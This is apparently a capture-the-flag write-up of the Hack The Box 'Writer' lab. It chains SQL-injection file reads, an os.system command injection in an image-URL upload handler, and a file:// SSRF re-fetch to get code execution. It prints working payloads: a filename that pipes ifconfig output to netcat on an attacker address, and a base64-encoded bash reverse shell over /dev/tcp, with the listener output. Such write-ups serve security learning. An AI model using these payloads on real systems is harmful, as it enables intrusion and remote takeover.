OS Command Injection


I was able to enumerate the source code of the target web application written in Python through the file read via SQLi.

[...REDACTED...]
    if request.method == "post":
        if request.files['image']:
            image = request.files['image']
            if ".jpg" in image.filename:
                path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
                image.save(path)
                image = "/img/{}".format(image.filename)
            else:
                error = "File extensions must be in .jpg!"
                return render_template('add.html', error=error)
 
        if request.form.get('image_url'):
            image_url = request.form.get('image_url')
            if ".jpg" in image_url:
                try:
                    local_filename, headers = urllib.request.urlretrieve(image_url)
                    os.system("mv {} {}.jpg".format(local_filename, local_filename))
                    image = "{}.jpg".format(local_filename)
                    try:
                        im = Image.open(image) 
                        im.verify()
                        im.close()
                        image = image.replace('/tmp/','')
                        os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
                        image = "/img/{}".format(image)
                    except pil.unidentifiedimageerror:
                        os.system("rm {}".format(image))
                        error = "Not a valid image file!"
                        return render_template('add.html', error=error)
                except:
                    error = "Issue uploading picture"
                    return render_template('add.html', error=error)
            else:
                error = "File extensions must be in .jpg!"
                return render_template('add.html', error=error)
[...REDACTED...]

The above portion of the source code reveals the way that the web application handles the file upload feature.

  • if the http request method is post:
    • if the file upload is done via the “image” attribute:
      • The uploaded file is retrieved and stored in the “image” variable.
      • if the uploaded file has a “.jpg” extension:
        • The file is saved in the server’s image directory using the image.save() method.
        • The path to the image is stored in the “image” variable for later use.
      • If the uploaded file does not have a “.jpg” extension, an error message is displayed to the user.
    • if the file upload is done via the “image_url” attribute:
      • The value of the “image_url” field is retrieved and stored in the image_url variable.
      • if the image_url contains “.jpg”:
        • The image is downloaded and stored locally using the urllib.request.urlretrieve() method.
        • The downloaded image is then stored in a temporary file and verified using the Python Imaging Library (PIL) via the Image.open() and Image.verify() methods.
        • If the image file is valid, it is moved to the server’s image directory using the os.system() method, and the path to the image is stored in the image variable for later use.
        • If the image file is invalid, it is deleted using the os.system() method, and an error message is displayed to the user.
        • note: This method is vulnerable to OS command injection due to the use of the os.system() method.
      • If the image_url does not contain “.jpg,” an error message is displayed to the user.
    • The “error” variable is used to store error messages that may occur during image upload.
    • The render_template() function is used to return an HTML template with the appropriate error message if image upload fails. note: The use of the request.files[] method to handle file uploads is safe, while the use of the os.system() method in the urllib.request.urlretrieve() method is vulnerable to OS command injection.

Vulnerable


os.system("mv {} {}.jpg".format(local_filename, local_filename))

This line of code is what appears to be vulnerable to OS command injection. This is due to the value of local_filename is not sanitized or validated. An attacker could potentially inject a malicious command into the filename, which later would be executed by the os.system() function. This could allow an attacker to execute arbitrary commands on the server with the privileges of the web application.

For instance, an attacker could submit a malicious URL as the “image_url” parameter, where the URL points to a malicious filename that includes an embedded OS command. When the os.system() function executes, it would also execute the embedded command, leading to potential remote code execution on the server.

┌──(kali㉿kali)-[~/…/htb/labs/writer/web]
└─$ touch 'test.jpg; ifconfig | nc 10.10.14.2 2222;'     

I will first create a file that has arbitrary OS commands in the filename

  • The test.jpg part is there to go through the filter as it must have .jpg string in the filename
  • The ; character was used for command termination
  • Output of the ifconfig command will be piped into the nc 10.10.14.2 2222 command
  • I should be able to receive the output as Kali is hosting a Netcat listener on the port 2222

Clicking into the highlighted area DID NOT invoke the “image_url” parameter as it was buggy.

I had to intercept the POST request and append it manually While I am a bit suspicious about how the web server is going to handle this data as it contains a bunch of special characters, it should work theradically

It failed. This particular string is caused by the fact that the .jpg string was not detected in the data, which is WRONG as shown The web server was likely unable to handle the whitespaces, resulting not being able to see the .jpg string

There’s a way around to this.

SSRF


This time, I am uploading the payload through the “image” attribute rather than the vulnerable “image_url” attribute This is to store the payload in the server side at the /var/www/writer.htb/writer/static/img directory

It is now available at the /var/www/writer.htb/writer/static/img directory or the /static/image directory over the web server

Now, I just need to “re-upload” this through the vulnerable “image_url” attribute from the server side

since the http://localhost/static/img/test.jpg; ifconfig | nc 10.10.14.2 2222; URL is not going to work, I can opt out to the file protocol to access the payload at file:///var/www/writer.htb/writer/static/img/test.jpg; ifconfig | nc 10.10.14.2 2222;

While both of them are technically SSRF, the file protocol should be able to handle the whitespaces. I think?

┌──(kali㉿kali)-[~/…/htb/labs/writer/web]
└─$ nnc 2222 
listening on [any] 2222 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.101] 50312
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.101  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 dead:beef::250:56ff:feb9:8e54  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:8e54  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:8e:54  txqueuelen 1000  (Ethernet)
        RX packets 1224372  bytes 207533237 (207.5 MB)
        RX errors 0  dropped 139  overruns 0  frame 0
        TX packets 1658427  bytes 790204612 (790.2 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 5084366  bytes 10735480838 (10.7 GB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 5084366  bytes 10735480838 (10.7 GB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

The local Netcat listener received the output of the ifconfig command executed on the target system. Code execution is confirmed

Exploitation


┌──(kali㉿kali)-[~/…/htb/labs/writer/web]
└─$ echo 'bash -c "bash -i >& /dev/tcp/10.10.14.2/9999 0>&1"' | base64
YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yLzk5OTkgMD4mMSIK

Encoding the reverse shell command above in the base64 format

┌──(kali㉿kali)-[~/…/htb/labs/writer/web]
└─$ touch 'shell.jpg; echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yLzk5OTkgMD4mMSIK | base64 -d | bash;'

Creating a payload for upload

Uploading the payload through the “image” attribute

The uploaded payload is now available in the server-side

“Re-uploading” the payload through the “image_url” attribute from the server-side for code execution

┌──(kali㉿kali)-[~/archive/htb/labs/writer]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.101] 46046
bash: cannot set terminal process group (1013): Inappropriate ioctl for device
bash: no job control in this shell
www-data@writer:/$ whoami
whoami
www-data
www-data@writer:/$ hostname
hostname
writer
www-data@writer:/$ ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.11.101  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 dead:beef::250:56ff:feb9:8e54  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:8e54  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:8e:54  txqueuelen 1000  (Ethernet)
        RX packets 1228432  bytes 208067561 (208.0 MB)
        RX errors 0  dropped 149  overruns 0  frame 0
        TX packets 1663086  bytes 792615656 (792.6 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 5091197  bytes 10737042737 (10.7 GB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 5091197  bytes 10737042737 (10.7 GB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Initial Foothold established to the target system as the www-data user via exploiting chain; SQLi-SSRF-RCE